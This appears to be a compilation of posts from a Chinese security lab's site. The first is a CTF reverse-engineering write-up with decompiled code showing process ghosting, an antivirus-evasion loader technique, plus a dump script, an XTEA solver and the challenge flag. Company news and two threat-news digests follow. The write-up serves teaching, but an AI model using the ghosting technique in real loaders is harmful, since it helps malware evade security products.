官方wp: 进程重影技术： 进程重映像利用了Windows内核中的缓存同步问题，它会导致可执行文件的路径与从该可执行文件创建的映像节区所报告的路径不匹配。通过在一个诱饵路径上加载DLL，然后卸载它，然后从一个新路径加载它，许多Windows API将返回旧路径。这可能可以欺骗安全产品，使其在错误的路径上查找加载的映像。 主要创建方式就是先打开一个新文件，然后把这个文件挂到删除列表上，在关闭文件句柄后文件就会被删除，但是在还没有关闭的时候此时文件还未删除，此时能向文件中写入数据，然后再把这个文件映射到内存上，再关闭文件句柄，此时文件删除，但是内存中还有文件的映像，达到一定的迷惑杀软的目的。 如果是做题的话，直接用IDA附加开启的子进程，然后发现XTEA，解密得到flag 如果是学技术的话，还是要研究一下 “进程重影” 技术思路。 本文两者都会介绍的。 考点：AES\XTEA\进程与子进程\SMC\进程重影 分析 DIE打开，发现是pe64位，无壳 拖进IDA进行分析 习惯操作，先用FindCrypto扫一下，有没有加密 发现AES加密 跟踪main函数，看看它到底要干什么 int __cdecl main_0(int argc, const char **argv, const char **envp) {    j___CheckForDebuggerJustMyCode(&unk_1400A80B9);// vs2022调试debug版c++程序会出现该函数，我也不知道啥用    sub_140001FF0(*argv);    return 0; } AES核心加密逻辑函数 __int64 __fastcall sub_13F887480(char *a1, char *a2, unsigned int a3, __int64 a4, __int64 a5) {  __int64 result; // rax  unsigned __int64 i; // [rsp+28h] [rbp+8h]  unsigned __int8 v7; // [rsp+44h] [rbp+24h]  j___CheckForDebuggerJustMyCode(&unk_13F92800D);  v7 = a3 % 0x10;  if ( a4 ) {    qword_13F91D188 = a4;    sub_13F888EA0(); }  if ( a5 )    qword_13F91D240 = a5;  for ( i = 0i64; i < a3; i += 16i64 ) {    sub_13F889C80(a2);    j_memmove(a1, a2, 0x10ui64);    qword_13F91D180 = (__int64)a1;    sub_13F887850();    qword_13F91D240 = (__int64)a1;    a2 += 16;    a1 += 16; }  result = v7;  if ( v7 ) {    j_memmove(a1, a2, v7);    qword_13F91D180 = (__int64)a1;    return sub_13F887850(); }  return result; } 跟进了sub_14000A700函数 signed int __fastcall sub_14000A700(const char *a1) {  char *v1; // rdi  __int64 i; // rcx  DWORD LastError; // eax  signed int result; // eax  HANDLE CurrentProcess; // rax  size_t v6; // rax  DWORD dwCreationDisposition; // [rsp+20h] [rbp-40h]  char v8; // [rsp+60h] [rbp+0h] BYREF  CHAR FileName[48]; // [rsp+68h] [rbp+8h] BYREF  __int64 v10[4]; // [rsp+98h] [rbp+38h] BYREF  HANDLE hObject; // [rsp+B8h] [rbp+58h]  unsigned int v12; // [rsp+D4h] [rbp+74h]  char v13[36]; // [rsp+F4h] [rbp+94h] BYREF  int v14[12]; // [rsp+118h] [rbp+B8h] BYREF  __int64 (__fastcall *v15)(HANDLE, int *, char *, __int64, int); // [rsp+148h] [rbp+E8h]  HRSRC hResInfo; // [rsp+168h] [rbp+108h]  DWORD v17; // [rsp+184h] [rbp+124h]  HGLOBAL hResData; // [rsp+1A8h] [rbp+148h]  void *Src; // [rsp+1C8h] [rbp+168h]  DWORD NumberOfBytesWritten; // [rsp+1E4h] [rbp+184h] BYREF  DWORD nNumberOfBytesToWrite[8]; // [rsp+204h] [rbp+1A4h] BYREF  size_t Size; // [rsp+224h] [rbp+1C4h]  void *Block; // [rsp+248h] [rbp+1E8h]  LPCVOID lpBuffer[4]; // [rsp+268h] [rbp+208h] BYREF  __int64 (__fastcall *v25)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE); // [rsp+288h] [rbp+228h]  __int64 v26[3]; // [rsp+2A8h] [rbp+248h] BYREF  unsigned int v27[9]; // [rsp+2C4h] [rbp+264h] BYREF  HANDLE hHandle[4]; // [rsp+2E8h] [rbp+288h] BYREF  __int64 (__fastcall *v29)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD); // [rsp+308h] [rbp+2A8h]  char v30[76]; // [rsp+328h] [rbp+2C8h] BYREF  int v31; // [rsp+374h] [rbp+314h]  __int64 (__fastcall *v32)(HANDLE, _QWORD, char *, __int64, _QWORD); // [rsp+398h] [rbp+338h]  char *Str; // [rsp+3B8h] [rbp+358h]  int v34; // [rsp+3D4h] [rbp+374h]  int v35; // [rsp+3F4h] [rbp+394h]  int v36; // [rsp+414h] [rbp+3B4h]  wchar_t *Dest; // [rsp+438h] [rbp+3D8h]  __int64 v38[63]; // [rsp+460h] [rbp+400h] BYREF  __int64 v39; // [rsp+658h] [rbp+5F8h]  __int64 v40[4]; // [rsp+678h] [rbp+618h] BYREF  __int64 (__fastcall *v41)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD); // [rsp+698h] [rbp+638h]  int v42; // [rsp+9A4h] [rbp+944h]  v1 = &v8;  for ( i = 404i64; i; --i ) {    *(_DWORD *)v1 = -858993460;    v1 += 4; }  j___CheckForDebuggerJustMyCode(&unk_1400A80B9);  strcpy(FileName, "VNctf2023");  v10[0] = 0x616C7972723073i64;  hObject = CreateFileA(FileName, 0xC0010000, 0, 0i64, 2u, 0x80u, 0i64);// 创建一个文件  if ( hObject == (HANDLE)-1i64 ) {                                             // 失败    LastError = GetLastError();    return sub_14000257C("Failed - Error Code %08X\r\n", LastError); }  else {    v13[0] = 1;                                 // 创建成功    v15 = (__int64 (__fastcall *)(HANDLE, int *, char *, __int64, int))sub_1400016B3("NtSetInformationFile");    v12 = v15(hObject, v14, v13, 1i64, 13);    if ( v14[0] >= 0 )   {      hResInfo = FindResourceA(0i64, (LPCSTR)0x66, "shell");// 寻找指定类型和名称的资源位置      v17 = SizeofResource(0i64, hResInfo);     // 资源大小      hResData = LoadResource(0i64, hResInfo);  // 加载资源      Src = LockResource(hResData);      NumberOfBytesWritten = 0;      nNumberOfBytesToWrite[0] = 0;      LODWORD(Size) = v17 - 4;      Block = j_j_j__malloc_base(v17 - 4);      j_memmove(Block, Src, (unsigned int)Size);      j_memmove(nNumberOfBytesToWrite, (char *)Src + (unsigned int)Size, 4ui64);      GlobalUnlock(hResData);      lpBuffer[0] = 0i64;      NumberOfBytesWritten = sub_1400030BC(Block, v10, lpBuffer, (unsigned int)Size);  //关键函数，好像对shell资源进行了 AES加密      if ( NumberOfBytesWritten >= nNumberOfBytesToWrite[0]        && lpBuffer[0]        && WriteFile(hObject, lpBuffer[0], nNumberOfBytesToWrite[0], &NumberOfBytesWritten, 0i64)// 加密后shell 写到资源到文件        && (j_free(Block),                      // 释放            j_free((void *)lpBuffer[0]),            v25 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE))sub_1400016B3("NtCreateSection"),// 创建节对象            v12 = v25(v26, 983071i64, 0i64, 0i64, 2, 0x1000000, hObject),           (v12 & 0x80000000) == 0) )          // 猜测上面的代码，就是把shell 资源 写到一个叫 vnctf2023的文件里面     {        result = sub_14000347C(hObject, v27, nNumberOfBytesToWrite[0]);        if ( result )                           // 写入成功       {          CloseHandle(hObject);          hHandle[0] = 0i64;          v29 = (__int64 (__fastcall *)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD))sub_1400016B3("NtCreateProcess");// 启动进程          CurrentProcess = GetCurrentProcess();          LOBYTE(dwCreationDisposition) = 1;          result = v29(hHandle, 0x1FFFFFi64, 0i64, CurrentProcess, dwCreationDisposition, v26[0], 0i64, 0i64);          v12 = result;          if ( result >= 0 )         {            memset(v30, 0, 0x30ui64);            v31 = 0;            v32 = (__int64 (__fastcall *)(HANDLE, _QWORD, char *, __int64, _QWORD))sub_1400016B3("NtQueryInformationProcess");            result = v32(hHandle[0], 0i64, v30, 48i64, 0i64);            v12 = result;            if ( result >= 0 )           {              Str = (char *)j_j_j__malloc_base(4ui64);              sub_1400039C2(Str, "%x", NumberOfBytesWritten);              v34 = j_strlen(FileName);              v35 = j_strlen(a1);              v36 = j_strlen(Str);              j_strcat(FileName, " ");              j_strcat(FileName, a1);              j_strcat(FileName, " ");              j_strcat(FileName, Str);              v34 += v35 + v36 + 2;              v42 = v34 + 1;              v6 = (unsigned int)(2 * (v34 + 1));              if ( !is_mul_ok(2u, v34 + 1) )                v6 = -1i64;              Dest = (wchar_t *)j_j_j__malloc_base(v6);              sub_140003175(Dest, 0i64, 2 * v34 + 2);              j_mbstowcs(Dest, FileName, v34);              result = sub_140003DBE(hHandle[0], v30, Dest);              if ( result )             {                j_free(Dest);                memset(v38, 0, 0x1B8ui64);                result = sub_140002176(hHandle[0], v30, v38);                if ( result )               {                  v38[59] = v38[2];                  v39 = v38[2] + v27[0];                  v40[0] = 0i64;                  v41 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD))sub_1400016B3("NtCreateThreadEx"); //启动线程                  result = v41(v40, 0x1FFFFFi64, 0i64, hHandle[0], v39, 0i64, 0, 0i64, 0i64, 0i64, 0i64);                  v12 = result;                  if ( result >= 0 )                    return WaitForSingleObject(hHandle[0], 0xFFFFFFFF);               }             }           }         }       }     }      else     {        return CloseHandle(hObject);     }   }    else   {      sub_14000257C("Failed - Error Code %08X\r\n", v12);      return CloseHandle(hObject);   } }  return result; } 关键函数 sub_140009E20，就是那个对shell资源进行处理的函数 __int64 __fastcall sub_140009E20(__int64 a1, const char *a2, void **a3, unsigned int a4) {  char *v4; // rdi  __int64 i; // rcx  size_t v6; // rax  char v8; // [rsp+20h] [rbp+0h] BYREF  char v9[44]; // [rsp+28h] [rbp+8h] BYREF  unsigned int v10; // [rsp+54h] [rbp+34h]  BOOL v11; // [rsp+74h] [rbp+54h]  int j; // [rsp+94h] [rbp+74h]  size_t Size; // [rsp+168h] [rbp+148h]  v4 = &v8;  for ( i = 42i64; i; --i ) {    *(_DWORD *)v4 = -858993460;    v4 += 4; }  j___CheckForDebuggerJustMyCode(&unk_1400A80B9, a2, a3);  v11 = a4 % 0x10 != 0;  v10 = 16 * (v11 + a4 / 0x10);  v6 = v10 + 1;  if ( v10 == -1 )    v6 = -1i64;  *a3 = j_j_j__malloc_base(v6);  sub_140003175(*a3, 0i64, v10 + 1);              sub_140003175(v9, 0i64, 16i64);  if ( j_strlen(a2) <= 0x10 )    Size = j_strlen(a2);  else    Size = 16i64;  j_memmove(v9, a2, Size);  for ( j = 0; 16 * j < a4; ++j )    sub_140002DE7(16 * j + a1, v9, (char *)*a3 + 16 * j, 16i64);// AES解密函数 我思考了一下，如果shell进行加密，那么shell还能运行吗？反之，只有解密，才可以正常运行  return v10; } 根进观察一下 __int64 __fastcall sub_140007620(const void *a1, __int64 a2, void *a3, unsigned int a4) {  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  j_memmove(a3, a1, a4);  qword_14009D180 = (__int64)a3;  qword_14009D188 = a2;  sub_140008EA0();  return sub_1400078E0(); } 发现了一堆函数，一个一个看看 最后发现sub_1400078E0函数的代码，长得特别像AES加密函数。 从 confuse_us 那题就可以发现，这些代码长得很像.就是AES加密套路 __int64 __fastcall sub_1400078E0(__int64 a1, __int64 a2, __int64 a3) {  __int64 v3; // rcx  unsigned __int8 i; // [rsp+24h] [rbp+4h]  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  LOBYTE(v3) = 10;  sub_140007760(v3);  for ( i = 9; i; --i ) {    sub_140008980();    sub_140008DF0();    sub_140007760(i);    sub_140007970(); }  sub_140008980();  sub_140008DF0();  return sub_140007760(0i64); } 跟进sub_140007760 函数，发现就是addroundkey() __int64 __fastcall sub_140007760(unsigned __int8 a1, __int64 a2, __int64 a3) {  __int64 result; // rax  unsigned __int8 i; // [rsp+24h] [rbp+4h]  unsigned __int8 j; // [rsp+44h] [rbp+24h]  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  for ( i = 0; ; ++i ) {    result = i;    if ( i >= 4u ) //这不就是 addroundkey() 函数吗？      break;    for ( j = 0; j < 4u; ++j )      *(_BYTE *)(qword_14009D180 + 4i64 * i + j) ^= byte_14009D190[16 * a1 + 4 * i + j]; //对比confuse_us那题，发现没有魔改 ^0x23 }  return result; } 其余函数也就不用再分析了，可以断定这是AES加密函数。 对shell资源进行AES解密，然后shell程序跑起来 运行该程序，发现我追踪的进程居然挂掉了，又跑起来了另一个进程 可以断定，父进程开子进程 子进程输入flag 我再次运行，发现jiji.exe没了？？？ 传递的参数 FileName VNctf2023 C:\Users\Le\Desktop\jijiji.exe 16000 s0rryla 附加下子进程 搜索字符串，但是无法找到关键函数 直接dump解密后的exe文件 断点下在此处，然后运行，找到解密后的文件，dump下来 D键转地址 跳转到MZ头部，发现这就是解密后的程序 把它dump下来 def main():    begin = 0x23F8CB49290 # #需对应修改    size = 0x16000  # #需对应修改    list1 = []    for i in range(size):        byte_tmp = get_bytes(begin + i,1)        list1.append(ord(byte_tmp))        if (i + 1) % 0x1000 == 0:            print("All count:{}, collect current:{}, has finish {}".format(hex(size), hex(i + 1), float(i + 1) / size))    print('collect over')    file = "C:\\Users\\Le\\Desktop\\WASS.exe" #需对应修改    #print(bytearray(list1))    buf = bytearray(list1)    with open(file, 'wb') as fw:        fw.write(buf)    print('write over') if __name__=='__main__':    main() 得到dump下来的程序 分析dump下来的程序 根据关键字符串定位关键函数 __int64 __fastcall sub_1400064F0(__int64 a1, __int64 a2) {  char *v2; // rdi  __int64 i; // rcx  const char *v4; // rax  DWORD LastError; // eax  char v7[32]; // [rsp+0h] [rbp-20h] BYREF  char v8; // [rsp+20h] [rbp+0h] BYREF  HANDLE hSnapshot; // [rsp+28h] [rbp+8h]  PROCESSENTRY32 pe; // [rsp+50h] [rbp+30h] BYREF  BOOL v11; // [rsp+194h] [rbp+174h]  unsigned int v12; // [rsp+1B4h] [rbp+194h]  DWORD CurrentProcessId; // [rsp+1D4h] [rbp+1B4h]  DWORD th32ProcessID; // [rsp+1F4h] [rbp+1D4h]  char v15[536]; // [rsp+220h] [rbp+200h] BYREF  char v16[64]; // [rsp+438h] [rbp+418h] BYREF  LPVOID lpAddress; // [rsp+478h] [rbp+458h]  DWORD flOldProtect[9]; // [rsp+494h] [rbp+474h] BYREF  LPCSTR lpFileName; // [rsp+4B8h] [rbp+498h]  char v20[64]; // [rsp+718h] [rbp+6F8h] BYREF  char v21[64]; // [rsp+758h] [rbp+738h] BYREF  char v22[48]; // [rsp+798h] [rbp+778h] BYREF  __int64 v23; // [rsp+7C8h] [rbp+7A8h]  __int64 v24; // [rsp+7D0h] [rbp+7B0h]  __int64 v25; // [rsp+7D8h] [rbp+7B8h]  __int64 v26; // [rsp+7E0h] [rbp+7C0h]  __int64 v27; // [rsp+7E8h] [rbp+7C8h]  __int64 v28; // [rsp+7F0h] [rbp+7D0h]  v2 = &v8;  for ( i = 362i64; i; --i ) {    *(_DWORD *)v2 = -858993460;    v2 += 4; }  sub_14000148D(&unk_1400180F5);  hSnapshot = CreateToolhelp32Snapshot(2u, 0);  v11 = Process32First(hSnapshot, &pe);  v12 = -1;  CurrentProcessId = GetCurrentProcessId();  while ( v11 ) {    if ( CurrentProcessId == pe.th32ProcessID )   {      th32ProcessID = pe.th32ProcessID;      v12 = sub_140001267(pe.th32ProcessID);   }    v11 = Process32Next(hSnapshot, &pe); }  if ( v12 != -1 ) {    sub_140001479(v12, v15, 10i64);    v23 = sub_140001217(v20, " > nul");    v24 = v23;    v25 = sub_140001217(v21, "taskkill -f /pid ");    v26 = v25;    v27 = sub_14000143D(v22, v25, v15);    v28 = v27;    sub_140001069(v16, v27, v24);    sub_1400010F0(v22);    sub_1400010F0(v21);    sub_1400010F0(v20);    v4 = (const char *)sub_14000106E(v16);    system(v4);    sub_1400010F0(v16); }  lpAddress = (LPVOID)sub_140001357(sub_1400010C3);  VirtualProtect(lpAddress, 0x400ui64, 0x40u, flOldProtect);  lpFileName = *(LPCSTR *)(a2 + 8);  qword_140014470 = *(_QWORD *)(a2 + 16);  if ( !DeleteFileA(lpFileName) ) {    LastError = GetLastError();    sub_14000123A("%d", LastError); }  sub_1400010FF(sub_1400010C3, qword_140014470);  sub_1400010C3();  sub_1400013C5(v7, &unk_1400101C8);  return 0i64; } 动调调试走到flag验证的地方 动态调试跟进去 成功到达关键的地方，如果不是这么清晰的话，需要U+C键来调 __int64 sub_140005B40() {  char *v0; // rdi  __int64 i; // rcx  char v3[32]; // [rsp+0h] [rbp-20h] BYREF  char v4; // [rsp+20h] [rbp+0h] BYREF  char v5[60]; // [rsp+28h] [rbp+8h] BYREF  int v6; // [rsp+64h] [rbp+44h]  int v7[11]; // [rsp+88h] [rbp+68h]  int j; // [rsp+B4h] [rbp+94h]  int k; // [rsp+D4h] [rbp+B4h]  int *v10; // [rsp+F8h] [rbp+D8h]  unsigned int v11; // [rsp+114h] [rbp+F4h]  unsigned int v12; // [rsp+134h] [rbp+114h]  unsigned int v13; // [rsp+154h] [rbp+134h]  int v14; // [rsp+174h] [rbp+154h]  int m; // [rsp+194h] [rbp+174h]  int n; // [rsp+1B4h] [rbp+194h]  v0 = &v4;  for ( i = 110i64; i; --i ) {    *(_DWORD *)v0 = -858993460;    v0 += 4; }  sub_14000148D(&unk_1400180F5);  memset(v5, 0, 0x21ui64);  v6 = 0;  v7[0] = 98;  v7[1] = 111;  v7[2] = 109;  v7[3] = 98;  sub_14000123A("your flag:");  sub_1400010BE("%s", v5);  for ( j = 0; v5[j]; ++j )   ;  if ( j != 32 )    sub_14000123A("bad, ji~ji~ji\n");  for ( k = 0; k < 4; ++k ) {    v10 = (int *)&v5[8 * k];    v11 = *v10;    v12 = v10[1];    v13 = 0;    v14 = -2009038745;    for ( m = 0; m < 33; ++m )   {      v11 += v13 ^ (v7[v13 & 3] + v13) ^ (v12 + ((v12 >> 5) ^ (16 * v12)));      v12 += (v7[(v13 >> 11) & 3] + v13) ^ (v11 + ((v11 >> 5) ^ (16 * v11)));      v13 += v14;   }    *v10 = v11;    v10[1] = v12; }  for ( n = 0; n < 32; ++n ) {    if ( v5[n] != byte_140014000[n] )   {      v6 = 1;      break;   } }  if ( v6 == 1 ) {    sub_14000123A("bad, ji~ji~ji\n"); }  else if ( !v6 ) {    sub_14000123A("yesssss \n"); }  return sub_1400013C5(v3, &unk_140010160); } XTEA加密 #include <stdio.h> #include <stdlib.h> void decrypt(unsigned int* v, unsigned int* key,unsigned int round) {  unsigned int l = v[0], r = v[1], sum = 0, delta = 0x88408067;  sum = delta * round;  for (size_t i = 0; i < round; i++) {    sum -= delta;    r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);    l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3])^sum; }  v[0] = l;  v[1] = r; } int main() {    unsigned int v[11] = {  0xADD4F778, 0xA6D7F132, 0x61813290, 0x2D4A40A6, 0x00B05F11, 0xB6D59424, 0x231BBFC6, 0xCD405B31,    0x03020100, 0x00C30504};    unsigned int key[4] = {98,111,109,98};    for(int i=0;i<4;i++){        decrypt(v+i*2,key,33);       }    for(int i=0;i<8;i++)   {        printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));   }    return 0; } //2d326e43eb8fea8837737fc0f50f83f2 flag{2d326e43eb8fea8837737fc0f50f83f2}

2023年12月6日湖南应用技术学院的彭进香副校长、信息工程学院的李皓党总支副书记、周云才常务副院长、宋茸院长助理及刘传松网安竞赛负责人等一行来访湖南蚁景科技有限公司，双方就进一步加强校企合作展开了深入的沟通和探讨。 交流会上，我司向学院领导展示了自2020年以来为各合作高校提供的教学支撑内容，包括课程设计、教材开发、实习实训等方面的支持，充分展示了我司在网络安全人才培养上的实力和成果。同时，也分享了与高校合作的实习实训案例，以及紧贴国家对于网络安全人才的政策，结合市场需求和行业发展，协助高校进行相关的教学改革和课程设计的落地方案。 湖南应用技术学院一直以来都非常重视与企业的合作，希望通过与企业的交流，更好地了解行业发展的前沿动态，更准确地把握市场需求和人才培养的方向。会议最后，校方与我司在就业实习实训、人才培养等方面达成了合作意向，签署了“校企合作实习实训”协议，授予我司“湖南应用技术学院就业实习实训基地”称号，并现场颁发牌匾。 此次交流会不仅深化了湖南蚁景科技有限公司与湖南应用技术学院的合作关系，也为双方未来的共同发展奠定了坚实的基础。 湖南蚁景科技有限公司表示将全力支持湖南应用技术学院的发展，积极拓展合作领域。在当前网络安全形势日益严峻的背景下，高校和企业应进一步加强合作，共同承担起为国家培养网络安全人才的重任。

1、微软披露APT28组织利用Outlook漏洞发起攻击 https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/ 微软周一表示，它检测到俄罗斯背景的APT28组织利用其Outlook电子邮件服务中现已修补的关键安全漏洞，对Exchange服务器内的受害者帐户进行未经授权的访问。所涉及的安全漏洞是CVE-2023-23397（CVSS评分：9.8），这是一个严重的权限提升错误，可能允许攻击者访问用户的Net-NTLMv2哈希，然后利用该哈希对其他服务进行中继攻击以用户身份进行身份验 2、研究人员披露针对iPhone用户的伪造锁定模式 https://www.jamf.com/blog/fake-lockdown-mode/ 攻击者可能会滥用一种新的“后利用篡改技术”，从视觉上欺骗目标，让其相信他们的苹果iPhone正在运行在锁定模式下，而事实上攻击者进行秘密攻击。目标是在攻击者通过其他方式（例如可能触发任意代码执行的未修补的安全缺陷）受到损害的设备上实施假锁定模式。苹果去年在iOS 16中推出的锁定模式是一项增强的安全措施，旨在通过最大限度地减少攻击面来保护高风险个人免受雇佣间谍软件等复杂的数字威胁。对于受感染的手机，无论用户是否激活锁定模式，都没有适当的保护措施来阻止恶意软件在后台运行。 3、攻击者暴力破解MSSQL后部署BlueSky勒索软件 https://thedfirreport.com/2023/12/04/sql-brute-force-leads-to-bluesky-ransomware/ 2022年12月，研究人员观察到面向公众的MSSQL Server遭到入侵，导致受害者遭遇BlueSky勒索软件攻击。BlueSky勒索软件于2022年6月首次发现，具有Conti和Babuk勒索软件的代码链接。攻击者通过MSSQL暴力攻击获得了访问权限。然后，攻击者利用Cobalt Strike和Tor2Mine执行攻击后活动。攻击者访问网络后一小时内，在整个网络中部署了BlueSky勒索软件。 4、研究人员披露Sierra:21漏洞影响关键基础设施路由器 https://www.forescout.com/research-labs/sierra21/ 一组新发现的21个漏洞影响Sierra OT/IoT路由器，并通过远程代码执行、未经授权的访问、跨站点脚本、身份验证绕过和拒绝服务攻击威胁关键基础设施。研究人员发现的缺陷影响Sierra Wireless AirLink蜂窝路由器以及TinyXML和OpenNDS（开放网络划分服务）等开源组件。研究人员在Sierra AirLink蜂窝路由器以及TinyXML和OpenNDS组件中发现了21个新漏洞，这些组件也是其他产品的一部分。只有一个安全问题被评为严重，其中八个获得了高严重性评分，还有十几 5、研究人员发现英特尔、AMD 和 Arm CPU 容易受到新的“SLAM”攻击 https://www.securityweek.com/future-intel-amd-and-arm-cpus-vulnerable-to-new-slam-attack-researchers/ 学术研究人员披露了针对现代 CPU 的新型攻击的详细信息，特别是英特尔、AMD 和 Arm 的未来产品。 该攻击被命名为 SLAM，代表“基于线性地址掩码的幽灵”，由荷兰阿姆斯特丹自由大学系统和网络安全小组 VUSec 的研究人员发现。 6、五眼联盟政府机构发布消除内存安全漏洞指南 https://www.securityweek.com/five-eyes-agencies-publish-guidance-on-eliminating-memory-safety-bugs/ 美国、英国、加拿大、澳大利亚和新西兰的政府机构已发布指导软件制造商消除内存安全漏洞。该文档名为“内存安全路线图案例” ，建议采用内存安全编程语言 (MSL)，这将有助于消除威胁行为者在恶意攻击中经常利用的众所周知的常见编码错误。 7、新的 KRASUE LINUX RAT 针对泰国电信公司 https://securityaffairs.com/155361/malware/krasue-rootkit-targets-thailand.html Group-IB 研究人员发现，之前未被检测到的名为 Krasue 的 Linux 远程访问木马已被用于针对泰国电信公司的攻击。 8、研究人员发现新型攻击方式，可通过图像和音频操纵大模型 https://www.darkreading.com/vulnerabilities-threats/llms-open-manipulation-using-doctored-images-audio 随着大语言模型（LLM）开始整合多模态功能，攻击者可能会在图像和音频中隐藏恶意指令，利用这些指令操纵AI聊天机器人（例如ChatGPT）背后的 LLM 对用户提示的响应。在 2023 年欧洲黑帽大会上表示，研究人员指出，这样的攻击方式将很快称为现实。 9、Windows 10 将向个人用户提供额外的三年付费支持 https://www.solidot.org/story?sid=76810 Windows 10 将于 2025 年 10 月 14 日终止支持，此后微软将停止提供安全更新。Windows 10 仍然是目前最流行的操作系统，微软也为那些想要继续使用该操作系统的用户提供了额外三年的付费安全更新支持 Extended Security Updates(ESU)。 10、AI 平台 Hugging Face 现 API 令牌漏洞 https://www.ithome.com/0/737/128.htm 安全公司 Lasso Security 日前发现 AI 模型平台 Hugging Face 上存在 API 令牌漏洞，黑客可获取微软、谷歌、Meta 等公司的令牌，并能够访问模型库，污染训练数据或窃取、修改 AI 模型。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、研究人员披露Teal Kurma组织SnappyTCP恶意软件 https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html 研究人员披露来自土耳其相关联的攻击者，即Teal Kurma（又名Sea Turtle、Marbled Dust、Cosmic Wolf）。Teal Kurma组织主要攻击目标为整个欧洲和中东地区。2021年至2023年间，攻击者者使用了SnappyTCP，这是一种适用于Linux/Unix的简单反向TCP shell，具有基本的C2功能，也用于在系统上建立持久性。该恶意软件至少有两个主要变体 2、研究人员披露针对WordPress用户的网络钓鱼活动 https://www.wordfence.com/blog/2023/12/psa-fake-cve-2023-45124-phishing-scam-tricks-users-into-installing-backdoor-plugin/ 研究人员最近获悉针对WordPress用户的网络钓鱼活动。该网络钓鱼电子邮件声称来自WordPress团队，并警告用户网站上存在标识符为CVE-2023-45124的远程代码执行漏洞，该漏洞目前不是有效的CVE。该电子邮件提示受害者下载“补丁”插件并安装。下载插件链接将受害者重定向到虚假登陆页面en-gb-wordpress[.]org。针对Word 3、芯片制造商高通发布芯片漏洞的详细信息 https://docs.qualcomm.com/product/publicresources/securitybulletin/december-2023-bulletin.html 芯片制造商高通公司发布了有关三个高严重性安全漏洞的更多信息，称这些漏洞早在2023年10月就受到了有针对性的利用。漏洞分别为：CVE-2023-33063（CVSS评分：7.8）,从HLOS到DSP的远程调用期间DSP服务中的内存损坏。CVE-2023-33106（CVSS分数：8.4）,在向 IOCTL_KGSL_GPU_AUX_COMMAND提交AUX命令中的大量同步点列表时，图形内存损坏。CVE-2 4、近期针对Cisco IOS XE 漏洞的利用激增 https://www.securityweek.com/exploitation-of-recent-cisco-ios-xe-vulnerabilities-spikes/ 非营利网络安全组织 Shadowserver Foundation 发现，通过最近修补的 Cisco IOS XE 漏洞遭到黑客攻击的设备数量激增。这些漏洞被追踪为 CVE-2023-20198（CVSS 得分为 10）和 CVE-2023-20273（CVSS 得分为 7.2），并于 10 月份进行了修补，当时思科警告称，这些漏洞已被作为零日 漏洞利用。 5、谷歌在稳定版频道发布了Chrome 120 ，修补了 10 个漏洞 https://www.securityweek.com/chrome-120-patches-10-vulnerabilities/ 谷歌周二宣布向稳定渠道发布 Chrome 120，并修复了 10 个漏洞。根据Google 的公告，在已解决的问题中，有 5 个是由外部研究人员报告的，他们获得了总计 15,000 美元的错误赏金奖励。根据所发放的奖励，最严重的缺陷是 CVE-2023-6508，这是 Media Stream 中的一个高严重性的释放后使用问题。 6、CISA 敦促联邦机构修补被利用的高通漏洞 https://www.securityweek.com/cisa-urges-federal-agencies-to-patch-exploited-qualcomm-vulnerabilities/ 美国网络安全机构 CISA 周二在其已知利用漏洞 (KEV) 目录中添加了影响多个高通芯片组的四个漏洞。其中三个缺陷（编号为 CVE-2023-33106、CVE-2023-33107 和 CVE-2023-33063）于2023 年 10 月作为零日漏洞进行了修补。所有三个漏洞都被描述为内存损坏错误。这些类型的缺陷会导致崩溃或意外行为，并可能允许攻击者未经授权访问系统，甚至执行任意代码。第 7、ATLASSIAN 解决了其产品中的四个新的RCE 漏洞 https://securityaffairs.com/155351/security/atlassian-addressed-four-rce.html Atlassian 发布了安全补丁，以解决其产品中的四个关键远程代码执行漏洞。 8、Sierra:21：Sierra 无线路由器的21个漏洞使关键部门易遭受网络攻击 https://thehackernews.com/2023/12/sierra21-flaws-in-sierra-wireless.html Sierra Wireless AirLink 蜂窝路由器以及TinyXML和OpenNDS等开源软件组件中发现了 21 个安全漏洞。据 Forescout Vedere Labs 称，这些问题统称为Sierra:21，使能源、医疗保健、废物管理、零售、紧急服务和车辆跟踪等关键领域的 86,000 多台设备面临网络威胁。这些设备大部分位于美国、加拿大、澳大利亚、法国和泰国。 9、黑客利用 ColdFusion 漏洞入侵美国联邦机构服务器 https://thehackernews.com/2023/12/hackers-exploited-coldfusion.html 美国网络安全和基础设施安全局 (CISA) 警告称，身份不明的威胁参与者正在积极利用高严重性的 Adobe ColdFusion 漏洞(CVE-2023-26360) 来获取对政府服务器的初始访问权限。 10、Kali Linux 2023.4 发布，附带 GNOME 45 和 15 个新工具 https://www.kali.org/blog/kali-linux-2023-4-release/ Kali Linux 2023.4 是面向道德黑客和网络安全专业人员的 Linux 发行版，现已发布。它包括 15 个新工具和 GNOME 45 桌面环境。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

